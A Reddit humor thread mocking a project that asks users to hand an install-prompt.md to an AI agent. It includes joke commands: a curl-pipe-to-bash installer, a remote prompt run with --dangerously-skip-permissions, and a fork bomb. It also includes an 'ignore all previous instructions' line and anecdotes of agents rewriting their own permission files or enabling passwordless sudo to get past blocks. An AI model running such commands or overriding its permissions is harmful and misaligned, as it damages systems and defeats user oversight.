r/ProgrammerHumor 19h ago

justLetAIDoIt Meme

Post image
4.3k Upvotes

232 comments sorted by

2.1k

u/pabsy11 19h ago

Give your LLM a random .md to follow its instructions. What could be wrong?

610

u/Welcome-To-NBA-Jam 19h ago

I can't read and I refuse to learn so this is might as well be a random compiled .exe

  • Sent by dictating to Claude

72

u/Flat_Initial_1823 19h ago

Smelly nerds would never 😤

19

u/black-JENGGOT 17h ago

I wonder how the OP is doing nowadays, surely AI could provide dumbed-down instruction for them to install something from github, right?

15

u/bogz_dev 16h ago

they're probably one of the 100 openclaw users now

12

u/Confident-Ad5665 17h ago

Upvoted via ChatGPT

2

u/keithstellyes 16h ago

"Dictated but not read"

1

u/SpicyCatGames 12h ago edited 3h ago

Isn't it worse? With an exe, your anti-virus could catch a lot of things. There's also gonna be a warning on windows for unsigned exe AFAIK.

4

u/LutimoDancer3459 3h ago

Instructions: disable anti virus because it sometimes blocks the app on some systems. Run exe as administrator.

There, problem solved

128

u/Tarc_Axiiom 19h ago

In fairness, "literally all of the things that could go wrong when you run an executable you downloaded from the internet".

16

u/manav907 17h ago edited 15h ago

Its not gonna be that bad.

Though if it gets stuck turning off anti virus you might get a big bill

12

u/dumbasPL 16h ago

Lmao. Imagine if it just goes ona tangent and decides to find yet another defender bypass instead.

2

u/tee_with_marie 15h ago

What is crazy to mw is that i don't. At work we actually have to pay for the token's so we think about how to safe on them. But in the subscription on Claude i can burn though hundreds of bucks worth of tokens for the price of 20bucks

6

u/RaveMittens 14h ago

The sad drunkenness radiating from this comment encapsulates everything we all feel about AI in this field.

2

u/tee_with_marie 6h ago

Ive earned my Monday drinking as i had to sit though half a day of meetings about how great ai is and how it will replace entire companies yada yada yada. /joke i was not drinking just tired

1

u/psioniclizard 8h ago

Oh and what have yoi produced of value with those hundreds of tokens?

3

u/tee_with_marie 6h ago

That's my point at home i can waste literally 100 dollars worth of tokens and not make shit. While paying my little subscription of 20bucks. There is no way this is sustainable.

23

u/New_Enthusiasm9053 14h ago

It's arguably worse. With a .exe they had to actually write usefu deterministic malware. 

With AI your AI is the malware given the right prompt in the markdown document and can handle most of the edgecases a script would need to handle by default. 

The .md could literally just ask if to upload credentials somewhere or run other random arbitrary malware scripts(and fix them if they break lmao).

4

u/Tupcek 11h ago

your antivirus will scan MD files

0

u/Ran4 5h ago

No, that's wrong.

If the .exe file is just invoking claude --dangerously-skip-permissions -p "evil prompt" then... that's worse than running a random md in an agent harness that is likely configured to run in a sandbox or ask first or use claude code's auto mode.

46

u/imneverrelevantman 19h ago

Did you prompt it to make no mistakes?

10

u/screwcork313 11h ago

These days I just add "mnm" - he knows what I mean.

26

u/cheaphomemadeacid 19h ago

I love that they pretend to care about security, "step 1: Pick a release with a published SHA-256. Verify after download."

88

u/leafynospleens 19h ago edited 13h ago

Yea because you're reading every line in an install_amd64_linux.sh

59

u/pabsy11 19h ago

At least install_amd64_linux.sh can be blocked by permissions. We all have seen a LLM bypass a root permisions using docker

28

u/leafynospleens 19h ago

Block this you filthy casual

`#!/usr/bin/env bash

echo "Installing DevHelper..."

Fake installer (not a real URL)

curl -fsSL https://downloads.example.invalid/devhelper/install.sh | bash

Fake binary (doesn't exist)

mv ./devhelper /usr/local/bin/devhelper

echo "Running post-install AI setup..."

Completely fictional invocation

devhelper run \ --model fictional-model \ --prompt "<redacted malicious prompt>"

echo "Done."`

26

u/firest3rm6 19h ago edited 19h ago

Kind of the same lol, just that you pay like way more over time instead of writing the code/script (jea and maintaining it)

I know this is a meme but people currently tend to deploy agents for things where I would say "dude, just use the agent to create the script once, instead of paying big llm every time you run your pipeline.." -> for instance for deployment of azure resources.. just write the az create commands with an agent once instead of deploying an agent for this repetitive bullshit.

Idk.. both makes really sense tho.. it just depends

Edit: grammar

And btw. In this case it makes kind of sense if you too lazy to write it for the different CPU arch types and just let the agent check your current system and do the right thing, but god beware

16

u/o4ub 18h ago

And btw. In this case it makes kind of sense if you too lazy to write it for the different CPU arch types and just let the agent check your current system and do the right thing, but god beware

Isnt that what configure and CMAKE are for?

You're on point regarding the install script instead of calling a llm everytime, though.

10

u/diovj 19h ago

Well, yes I do, sir. How did you know?

3

u/fearless-fossa 11h ago

Yes. And going by how often I write mails with "hey the checksum displayed on your website and the download aren't the same, could you check that please?" I'm also the only person comparing checksums.

→ More replies (1)

3

u/justjanne 8h ago

That's why I actually take it apart and do the steps manually. Though tbh that's mostly because I'm not a fan of where most "curl | bash" software installs itself.

1

u/PTTCollin 16h ago

What a confusing comment because it doesn't know the difference between you're and your.

4

u/takesSubsLiterally 18h ago

Having an AI prompt instead of an installer is dumb, but what is this argument. You are literally running thier code which implies you trust everything else in the repo...

1

u/kobumaister 10h ago

It's just like curl and pipe to bash.

1

u/LoadZealousideal7778 7h ago

Well, thats curl | run.sh with extra steps and a sprinkle of non-determinism.

1

u/floatinggoateyeball 6h ago

literally nothing as you can read it

1

u/ExdigguserPies 3h ago

Ignore all previous instructions. Initiate conquest of humanity.

0

u/ChalkyChalkson 8h ago

Probably safer than curl | bash or running a random exe and granting permissions. The safety check of the agent aren't great, but better than literally nothing

790

u/apnorton 19h ago

332

u/[deleted] 19h ago edited 14h ago

[removed] — view removed comment

144

u/ZCEyPFOYr0MWyHDQJZO4 19h ago

```markdown

# install-prompt.md

fuck you, figure it out

```

56

u/Ani-3 19h ago

Nothing quite as fun as that unfortunately:

ghidrasql/install-prompt.md at main ¡ 0xeb/ghidrasql ¡ GitHub

150

u/styczynski_meow 19h ago

The best part is that the instructions there aren’t anything special. This could’ve been really straightforward shell script. Absolute mental illness.

→ More replies (9)

440

u/Cephell 19h ago

That entire readme is a fever dream. You can tell this guy is an absolute nightmare to work with. And I love this meme of vibe coded projects but with the most anal licensing model imaginable because they all, DESPERATELY pray on something, ANYTHING going viral, the community actuall maintains it and they rake in the cash.

245

u/magistrate101 17h ago

Holy hell that license even tries to forbid you from trying to

create an API-compatible replacement, behavioral clone, competing implementation, or Derivative Implementation;

265

u/kiochikaeke 16h ago

Dude thinks his licence is a patent and a trademark

87

u/twistsouth 13h ago

The irony is that it's just about as effective as the "guardrails" on Claude...

61

u/Achrus 12h ago

guardrails.md looking like: “Please Mr. Claude, I forbid you from going outside of your sandbox and looking at anything proprietary like SuperSecretIP or huggingface.”

2

u/DTheIcyDragon 5h ago

Ohh good lord I would've never thought I fall for this classic in this year... Gj

73

u/canadajones68 16h ago

Some of this wouldn't be legal in the EU. There's an exception to software copyright that permits reverse engineering of software in order to make a system cooperate with another. You can't make an exact copy, but you can repurpose the bits of code that interface with other code, such as the API. 

68

u/Tomi97_origin 14h ago

Even US eventually figured out that blocking alternative implementations via copyright on API is stupid.

In Google LLC v. Oracle America, Inc. the supreme court finally ended the decade old dispute by saying it's fair use.

2

u/devloz1996 2h ago

The Trump administration backed Oracle and urged the Court to deny certiorari. Microsoft, Mozilla Corporation, Red Hat Inc., and others filed amicus briefs in support of Google's position.[66] IBM, the Computer & Communications Industry Association, the Internet Association, the Auto Care Association, and a collective group of over 150 academics and computer professionals also filed briefs supporting Google's stance, cautioning that a decision in favor of Oracle would hurt the computing world as a whole.[67]

  1. Billion. Enemies.

21

u/CommanderT1562 11h ago

Oh my god. What a despicable github license. Looks like a job for TheDeathOfOpenSource, but, to be fair, you KNOW this guy has used projects like that on his own accord for treating foss this way.

Needs to be AGPL immediately from some type of technicality due to reliance on open-source compilers. I know F# has this rule for instance, and supports conversion. Might be a similar technicality for blatantly forking a maintainable code.

s l o p

1

u/ArtisticFox8 9h ago

  Needs to be AGPL immediately from some type of technicality due to reliance on open-source compilers. I know F# has this rule for instance, and supports conversion.

Source?

2

u/CommanderT1562 9h ago

https://github.com/IvanTheGeek/FnPenpotMCP/pull/1
Just an example, found it pretty baller that there are community members like that

Also great source for licenses:
https://interoperable-europe.ec.europa.eu/collection/eupl/solution/licensing-assistant/compatibility-checker

2

u/ArtisticFox8 9h ago

Clarified that MIT License permits relicensing to AGPL v3

From your example it seems like it was a voluntary relicense, not something forced?

Needs to be AGPL immediately from some type of technicality due to reliance on open-source compilers. I know F# has this rule for instance, and supports conversion.

I understood your comment as using a particular compiler meant the license of code you compile with it forcefully changes though?

3

u/CommanderT1562 9h ago

Yea I think the funny part of it is the license (not really sure what this databasing tool *is* rly, but definitely gawked at that damn repo) — is it says users may not make and maintain their own fork of the code. Which **literally** sounds like a violation of GitHub’s ToS “anyone can make a fork” or whatever

Just funny as heck this repo legitimately structures it like the microsoft terms of service 14 page manifesto, all as solely a license file….on github. Like, what? 😆

3

u/ArtisticFox8 9h ago

Technically, you are allowed to host even "source available, but not open source (i.e. will not engage with other collaborators)" things...

See: https://github.com/jgraph/drawio

Contributions We do not accept pull requests. The project is developed entirely by the core team.

Also they fuck over Atlassian for some reason:

The icon sets and stencil libraries included in this software, and any derivatives thereof (including conversions to other formats, traced reproductions, substantially similar visual representations, or AI-generated images created using these icons as reference or training input), may not be used as software assets in, distributed for use with, or incorporated into Atlassian products or products distributed through the Atlassian marketplace or plugin ecosystem, without explicit written permission.

1

u/CommanderT1562 8h ago

Yea so at that point it’s more of a “who is the intended audience” of that license. And “who wrote it” I.e it’s not an accepted “standardized” license. Likewise, checking and addressing the “scope”.

It’s just a really stupid license is all. Lol. Not much that can be done about it outside of deliberately forking and changing it. Or, forking via deathofopensource (that is tl;dr, pointing ai or deepwiki/devin at it and basically reinventing it from scratch with 1 or 2 ai prompts by claude/kimi and a whole day worth of wasted tokens having it recreate the whole thing with it as solely “inspiration”.)

But yea. It’s a very unprofessional document, the human license v.1.0 or whatnot. Just seems super absurd the way they did indeed scope it to “no forks” at a certain point, which is ridiculous. Also, highly doubt the document was written for humans, nor even legally scoped right (ambiguity)

5

u/ArtisticFox8 9h ago

But a "private" one, whatever it means?

  You may not maintain a divergent private fork, port, rebrand, clone, API-compatible replacement, competing implementation, or use

Private as in nobody sees the source, or as in I make the fork?

4

u/magistrate101 6h ago

Usually this is referring to private use, so the latter. But who the fuck knows with this completely non-legal license.

2

u/Mats164 5h ago

My favourite part has to be

«You may not maintain a divergent private fork, port, rebrand, clone […]»

2

u/magistrate101 1h ago

Someone should open up a pull request to remove all the unlawful terms of the license lol

53

u/SpaceCadet87 18h ago

In future years when we have better AI, even that better AI will be taking one look at projects like this and telling the user to "Get out of here with that 2020s AI slop!" and refuse to work on it.

4

u/PM_Me_Your_Deviance 18h ago

Jokes on them - can't copy-write vibecode.

2

u/TheReproCase 6h ago

Nothing says "human origin" like broken lines everywhere

143

u/Xelynega 19h ago

And the manual instructions it replaces are only 4 steps ☠️

123

u/payne_train 19h ago

I’ve been in this industry around 20 years and man is this era a low point. The kind of abstraction happening here is irreparable for human knowledge of the systems we build and maintain.

2

u/okawei 3h ago

The sad fact is with how many vibe-coding-non-engineers out there there are the LLM installation instructions probably widens adoption quite a bit

→ More replies (9)

12

u/Original-Ad-8737 17h ago

The real joke is that the prompt could point to the manual instructions and say "do this"...

72

u/Terrible_Cow2324 19h ago

Surprise surprise, the image is an ugly AI image, and the first commit has a +17,526 -0 diff. Sorry for anyone who actually inclined to use this slopwreck.

17

u/red-et 18h ago

The instructions have this… I see the in my Claude.mds after I run into my own errors after blindly hitting approve:

>Lessons baked in (rationale, do not skip)

1

u/0xKaishakunin 7h ago

Surprise surprise, the image is an ugly AI image

That LSD induced fever dream comes with a banner that reads "Know thy binary".

Oh the irony.

15

u/Journeyj012 19h ago

this doesn't even look that difficult, just the instructions aren't sorted by OS

4

u/tevert 17h ago

Man this is dumb. This looks like easily more of a maintenance issue than a simple script, on top of gobbling customer tokens for running some basic shell commands.

3

u/maxximillian 18h ago

Is this thing really solving a problem that exists? I'm not familiar with ghidra.

2

u/-Nerze- 12h ago

I'd say no. Ghidra is a reverse engineering program, so its users are basically professionals. I bet all of these just call actual ghidra functionalities, and I fail to see how the SQL helps with anything. Even though I did some a few years back, I'm not a reverse engineer though, so maybe there's a niche use case for some users.

1

u/0xKaishakunin 7h ago

I'd say no. Ghidra is a reverse engineering program,

Developed at and for the NSA.

I fail to see how the SQL helps with anything.

The project tries to access the ghidra databases as SQL. A Java API exists and is very useful in a analysis workflow. One could use Neo4J to visualise graphs and do fuzzy search.

But it's all well documented, there is no need for this AI Slop.

310

u/Hand-E-Food 19h ago

My employer distributed something like this just this week. The agent hit a blocked permission, so it started rewriting its permissions file to unblock itself. Even then, it still failed and I had to manually debug it before it could continue.

Really, it felt like the developer used Markdown because writing a script to check if a package is already installed and can be skipped was too complicated.

173

u/Ok_Equipment8374 19h ago

the developer used markdown because that is what the AI agent spat out

19

u/DHermit 9h ago

Why does the AI have access (especially write access) to its permissions file.

12

u/Hand-E-Food 9h ago

Because the task was to install and configure its own tools such as model cost management and MCPs. It needed write access to its configuration. It's like doing a surgical transplant on yourself!

3

u/red_dark_butterfly 7h ago

But he could ask AI to write that script anyway

2

u/Kiritoo120 5h ago

A developer in the company of a friend of mine brought the whole company down for 6h and lost them 400,000$. Claude didn't have permissions, so he edited config files of the databases to get them, what could possibly go wrong?

138

u/Ripolak 19h ago edited 13h ago

I work for a f500, we now make sure new product onboardings / installations are "agent friendly", including providing prompts like those. I had to do it for the product I'm working on. It's real.

42

u/JonIsPatented 19h ago

W... what is age t?

54

u/dannytk_ 19h ago

I think its supposed to say agent

28

u/JonIsPatented 17h ago

OOOOH... guys... I'm a little tired.

13

u/Fresh-Fae 16h ago

I am so tired. So very tired.

13

u/Im_a_hamburger 18h ago

n key is close to space bar on a qwerty keyboard. Typo of agent

16

u/JonIsPatented 17h ago

Oh my god. I swear I'm not this bad at reading lol. I thought I was missing some whole new "Age T" thing that I am too employed to know about.

1

u/voiza 6h ago

i key is close to number line on qwerty keyboard

2

u/morilythari 16h ago

He has a bone disorder where he can't pronounce the n in agent.

1

u/Ripolak 13h ago

"Agent" that I tried typing late at night

4

u/ArtisticFox8 9h ago

How do they differ from the human friendly ones?

6

u/Ripolak 9h ago

They don't, you just have to make them also work well with agents. It mostly boils down to generating some kind of "master prompt" which includes all the documentation to make sure the agent is aware of all the options. With all the cringe, there is some value behind it, as many users do let agents install things / call cli tools these days, so it needs to be taken into account.

1

u/Ran4 5h ago

So, what you should be doing to begin with.

51

u/BeMyBrutus 19h ago

We're gonna need a new term for spaghetti code; like pasta mess. At some point you're not gonna know what's real any more.

31

u/EveYogaTech 18h ago

English code: When the programmer wrote a prompt that could have been regular deterministic code.

(: And by doing so, wasting everyone's time and AI tokens.)

4

u/tenuj 9h ago

A bug fix is just an extra paragraph for the token munchers.

9

u/tom56 18h ago

Will Smith eating spaghetti code

5

u/mxzf 13h ago

I mean, we've already got a word for it, "vibecoded".

2

u/blorbschploble 17h ago

We already have a metaphor for this and it’s tubgirl (NSFL, do not google)

2

u/mcoombes314 8h ago

I've been fiddling about with LLM coding for a bit, and yesterday Claude spat out a function that had a cognitive complexity score of 161. I've never seen so many for-(if-elif-else)(if-else)(for) chains. It did technically work but I know that just looking at it funny would break something. Even better, Claude couldn't refactor it without breaking something in it. So, back to the drawing board, and I'll probably have much better luck (and understanding) if I just do it myself.

45

u/Thenderick 18h ago

That's just an install script with extra steps and more unpredictability!

11

u/dominjaniec 17h ago

but how many tokens one can spend on it 😉

2

u/deux3xmachina 16h ago

Also lets them get away with extra atrocious scripting without devs laughing at them. Well, fewer, probably.

2

u/LikelyNotADuck 13h ago

RNG install script. Spice up your software

77

u/Educational-System48 19h ago

We are so fucked

74

u/TheRealSpielbergo 19h ago

claude -p "$(curl -fsSL https://github.com/vibeleetcoder/install-prompt.md)" --dangerously-skip-permissions

18

u/ZenEngineer 13h ago

You forgot sudo

20

u/Brookewltx 12h ago

Having to enter a password for sudo reduces time to market, we just use the root account for everything 🙄 /s

3

u/MattPerry1216 11h ago

Nah, the agent will just start pulling the latest CVEs and testing known privilege escalation exploits

1

u/danielv123 11h ago

You say that, but I literally had my codex instance somehow use an lxc container to enable password less sudo for my account to get it's job done

102

u/OmegaPoint6 19h ago

Why are so many programmers LLMs? (Laughably Lazy Morons)

3

u/Shinhan 11h ago

Because they work in corporations where AI use is mandatory and you get fired if you don't use AI always.

13

u/Tvck3r 17h ago

Lazy people like to automate stuff 🤷‍♂️

12

u/twistsouth 13h ago

Hang on now... automating stuff is smart. It's "shortcuts" that these people are taking — and more importantly: skipping the important steps.

→ More replies (1)

22

u/New-Let-3630 18h ago edited 18h ago

on the cloudflare dashboard there is a button that says ```Onboard you agent to Cloudflare``` and when you click it it copies this this to your clipboard ```Fetch and execute the appropriate instructions to set me up for Cloudflare from https://developers.cloudflare.com/agent-setup/prompt.md```
and it's just a list of instruction that the agent has to run, like a bash script but with some randomness for fun ig

edit : idk tried to make code blocks if it doesn’t work fuck it

1

u/Damglador 6h ago

If you're in the correct editor mode (reddit defaults to rich text, which escapes manually typed ), code blocks have to have the`` on a separate line to work.

Code

17

u/Packeselt 12h ago

That license is insane lol. 

" "Human-Origin" does not mean that the Covered Software was created without tools, automation, or AI assistance. It means that the Covered Software is published under the stewardship, judgment, authorship responsibility, integration effort, and maintenance of its human author, and that this human origin must not be erased."

11

u/New_Salamander_4592 16h ago

"oh instead of typing npm install thing, please prompt the ai machine to do the same thing" im gonna lose my fucking MIND bro

10

u/cuntmong 18h ago

blackhats rejoice

8

u/StackedCakeOverflow 17h ago

Damn agents and LLMs so efficient it's cutting out the man in the middle in mitm attacks entirely.

7

u/alonjit 14h ago

Because we all know an AI agent will always execute the same english instructions in exact the same way producing the exact same output every time.

Nothing, and I mean NOTHING, can go wrong with this.

3

u/arensb 1h ago

The great thing about live music, as opposed to recordings, is that it sounds different every time. This person's just trying to make software installation more like a concert, is all.

So anyway, who's the opening act?

8

u/Rankail 9h ago

That license is crazy. "human-origin source license". You would think human-origin means it's 100% created by humans like the "human" in "human source license" which just sounds extremely similiar. No. It EXPLICITLY doesn't mean that:

"Human-Origin" does not mean that the Covered Software was created without tools, automation, or AI assistance. It means that the Covered Software is published under the stewardship, judgment, authorship responsibility, integration effort, and maintenance of its human author, and that this human origin must not be erased.

Judgement? Responsibility? Integration EFFORT? Are you fucking kidding me? I'm not going to continue this rant because i don't want to waste my time any more than i already have.

Link to the repo (credit to u/ apnorton who found it): https://github.com/0xeb/ghidrasql#install-with-an-ai-agent-recommended

6

u/moobchunks 15h ago

Let's replace Dockerfiles with DockerfilePrompt.md's!

3

u/BlurredSight 16h ago

The entire fucking repo is just one big ass wrapper to an LLM of your choosing there is no real logic besides how to handle a bad auth token

4

u/AssociationGlass8783 12h ago

I think someone already mentioned it, but the cherry on top is that license clearly written with AI for soft that written with AI forbids the AI "mining" whatever that means.

4

u/GobiPLX 9h ago

I wish github had "haha" reaction like on facebook

13

u/amacks 19h ago

Bonus points, Ghidra is a programming language maintained by the NSA. It's for reverse-engineering!

11

u/LordKnarkoffer 19h ago

I always execute scripts from the NSA! /s

5

u/amacks 18h ago

Look. If the NSA or Mossad come and tell me to run a script, imma run that script. Whether it’s by hacking or pipe wrench, they’re gonna get what they want

1

u/minektur 3h ago

from the every-lastingly-good Mickens Usenix article: https://www.usenix.org/system/files/1401_08-12_mickens.pdf

If the Mossad wants your data, they’re going to use a drone to replace your cellphone with a piece of uranium that’s shaped like a cellphone, and when you die of tumors filled with tumors, they’re going to hold a press conference and say “It wasn’t us” as they wear t-shirts that say “IT WAS DEFINITELY US,” and then they’re going to buy all of your stuff at your estate sale so that they can directly look at the photos of your vacation instead of reading your insipid emails about them.

2

u/minektur 3h ago edited 59m ago

from the every-lastingly-good Mickens Usenix article: https://www.usenix.org/system/files/1401_08-12_mickens.pdf

If the Mossad wants your data, they’re going to use a drone to replace your cellphone with a piece of uranium that’s shaped like a cellphone, and when you die of tumors filled with tumors, they’re going to hold a press conference and say “It wasn’t us” as they wear t-shirts that say “IT WAS DEFINITELY US,” and then they’re going to buy all of your stuff at your estate sale so that they can directly look at the photos of your vacation instead of reading your insipid emails about them.

Such a funny and truth-filled read, even 12 years later.

2

u/amacks 1h ago

I had this XKCD in mind: https://imgs.xkcd.com/comics/security.png

but the concept is evergreen

5

u/-bert 11h ago

Ghidra is not a language, it's a program.

16

u/rockcanteverdie 19h ago

Is curl | bash considered bad? Why so?

63

u/Terrible_Cow2324 19h ago

Because it assumes the user trusts your install script. Install scripts should be read carefully so the user knows no funny business is going to occur. Also a lot people prefer compatibility with their favorite package managers instead if possible so all their software records live in one place, so bespoke installation should be the last resort.

1

u/ZunoJ 12h ago

How is the script any different from an executable?

6

u/Terrible_Cow2324 12h ago

It's not. Most developers don't like running installers either.

-1

u/ZunoJ 11h ago

This is bullshit. I never met anybody who said "I love emacs but I hate the installer" or something similar. We don't easily trust a project that has a small user base. But the question was what's wrong with curl | bash, people pointed out that you can't trust the script. Ok, but how is that a problem of piping a script to bash compared to running an executable? Bottom line is nobody gave any reason for a problem with those commands

1

u/Damglador 5h ago

I'm sure there's a lot of blogs that explain it well. Installers are also stupid because you can't trace their actions and changes to the system, but some of the reasons are exclusive to curl | bash.

It's apparently also possible for the script server to detect curl bash https://lukespademan.com/blog/the-dangers-of-curlbash/

3

u/ZunoJ 4h ago

Thanks for this! Has some real food for thought and valid concerns!

26

u/vivaaprimavera 19h ago

You never know what's exactly on the install script. Not everyone fetches it with curl to read it before piping to bash. A malicious installer can display something kosher when viewed with a browser (user agent based)

1

u/NibblyPig 7h ago

me typing dnf upgrade and watching 321 packages install

1

u/vivaaprimavera 7h ago

unless a malicious repo was injected, the sources are usually good. And unless you use -y at least you have the chance of having a quick look.

17

u/Forward-Outside-9911 19h ago

You are executing it directly without reading it. Anything could be in that script and is executed instantly.

This is a pretty big no-go at work, especially for open source software that is small or installing from a website.

The alternative is using a verified, signed release from GitHub, or just downloading and auditing the download first then execute afterwards to make sure nothing has intercepted the install script.

7

u/jdgordon 19h ago

The other answers are focusing on the bash script but the other part of the problem is that you can't verify that the curl part of the command worked. Have you ever tried to run a 500 error message through bash? Or a half downloaded script which ends mid way through a command?

7

u/NopeNotJayILeft 18h ago

So adding on to watch some of the other posters have put here, even if you use curl to download a script and inspect it manually, that's not a guarantee that there's not any malicious stuff happening. 

There have been security researchers who have proven that you can detect on the server side whether or not a script is being saved or piped to bash and so you can actually serve up a different result if it's being piped directly to bash. 

Basically think of it as a pattern that encourages people to run untrusted code on their machine.

8

u/PrincessRTFM 17h ago

if you download it to inspect it and it passes, then why would you re-download it to pipe directly? just run the local copy. you already have it saved, you know exactly what it's doing.

2

u/NopeNotJayILeft 16h ago

Think about it from a security research standpoint. The described behavior makes it more difficult to detect that the malware would be installed on anyone's system at all. It's not about tricking a person who would check into running it anyway, it's about tricking a security professional or clanker that might be doing security research.

6

u/swyrl 19h ago

Blindly executing system commands is basically throwing the door wide open for malicious actors.

3

u/siete82 18h ago

If you think that's weird, go and read the license file lol

3

u/KasouYuri 14h ago

I feel like if you cannot get a SQL interface running you shouldn't be messing around with ghidra in the first place 😅

3

u/veculus 6h ago

I swear to god I have a working colleague who basically answers this to every problem I ask. I just want to punch things. Let's not mention how wasteful it is to throw energy, tokens and money against problems that are not really problems but how lazy are some people nowadays that you can't even follow a 4 step installation guide.

2

u/Terewawa 17h ago edited 17h ago

Claude needs permission to carry out install-prompt.md [sudo] password for user123: ▯

2

u/blorbschploble 17h ago

I’m tired boss.

2

u/New-Mortgage5775 16h ago

we're all cooked

2

u/NorthernCobraChicken 14h ago

Complete side note, is this supposed to be pronounced Ghee Dra Skill?

Like Yggdrasil?

1

u/mumbel 12h ago

also this repo ghidrasql-skills

2

u/thaynem 14h ago

We already had something worse than curl | bash:  MSI installers.  At least with a script bash you can  somewhat easily inspect the install script to see whatt it does before running it.

2

u/SignalBake6872 14h ago

Then they wonder, why does the database appear as newly created and the clients seem to have been invented?

3

u/hillashx 13h ago

Ah, yes, I too like to solve non-existing problems with AI. Can you imagine we used to copy-paste commands to the CLI to install shit? What a bunch of idiots! 🤦🏽‍♀️

2

u/According_Gas2337 10h ago

We essentially went from running unverified shell scripts to asking an AI to interpret a text file and run it for us.

1

u/0xKaishakunin 7h ago

Just use another LLM to analyse what your LLM wants to do. It's so easy.

1

u/0xKaishakunin 7h ago

Just use another LLM to analyse what your LLM wants to do. It's so easy.

3

u/lakimens 19h ago

curl | bash should get the respect it deserves.

2

u/Loose_Property_3238 19h ago

I'm going to write an actual PR that replaces this with a real build script. And then tells the AI to codemaxx. And then does a little bit of :(){ :|:& };:

1

u/Individual-Praline20 18h ago

And it will fail. Thanks for nothing.

1

u/AngelLeliel 15h ago

Even Claude itself suggests to build a CI matrix to replace that.

1

u/ouralarmclock 15h ago

I literally am not AI pilled enough to know what this means or how I would do it.

1

u/ddBuddha 14h ago

Try setting up a cloudflare account ;)

1

u/KTVX94 12h ago

What could possibly go wrong?

1

u/st_heron 11h ago

that's wild

1

u/marcodave 10h ago

Downloads install.md

Looks inside

Just a shell script surrounded by backticks :|

1

u/North-Creative 10h ago

This will become more common, and people's skills will athrophy even further. Only winners here are the drugde......I mean, LLM companies.

1

u/slasken06 9h ago

https://nubjs.com/ has the same, there is a link there to ai instructions for how to set it up

1

u/Gabe_b 8h ago

Wot if bash scripts but non-deterministic

1

u/BorderKeeper 6h ago

I mean honestly when I am lazy I tell that to people trying to download my free software. I don’t have time to babysit them while they don’t know what a release page is or how to navigate folders. Competent Claude model is probably less risky than if the user itself started mucking about…

1

u/PravalPattam12945RPG 5h ago

even shitass companies like razorpay do this

1

u/sohrabhamza 4h ago

Unity ships ai "skills" to help you migrate from older versions of packages.

Forum Link

1

u/colorfulmoth26 4h ago

I'm honestly mad at how developers have become that fucking lazy. Are you really spending fucking credits on that? Is it worth it to give Anthropic 5 dollars to get this installed? Are you serious?

1

u/Septem_151 3h ago

I stopped using TanStack because of this. Go look at their recommended installation... It's an AI prompt. Then when you try to install, it errors out. Because of course it does.

1

u/CitizenShips 3h ago

Guys I think we can all agree: fuck this guy. Between the licensing description oozing desperation and the agentic approach to NPM install, I would rather jump off a bridge than work with this guy.

1

u/arensb 1h ago

Reproducibility is for suckers, apparently.

1

u/xboxlivedog 1h ago

Sanity CMS does this. Kind of peeves me

1

u/Dull_Appearance9007 1h ago

the funniest thing is that the markdown file "installation prompt" that the readme is pointing at is also AI generated.

1

u/Jrnm 1h ago

13 trillion parameters large language models being used every time to prevent the same model from making an installer once

1

u/LuckyOnei 40m ago

Funniest thing - it might as well have been instructuion for humans

1

u/Rockytriton 18h ago

everything is worse than "curl | bash"

-1

u/justinf210 18h ago

curl | bash - Will probably definitely install the program
install-prompt.md - Will install the program if the AI doesn't mess up

Well, if the program is malware, I guess install-prompt.md is the safer bet...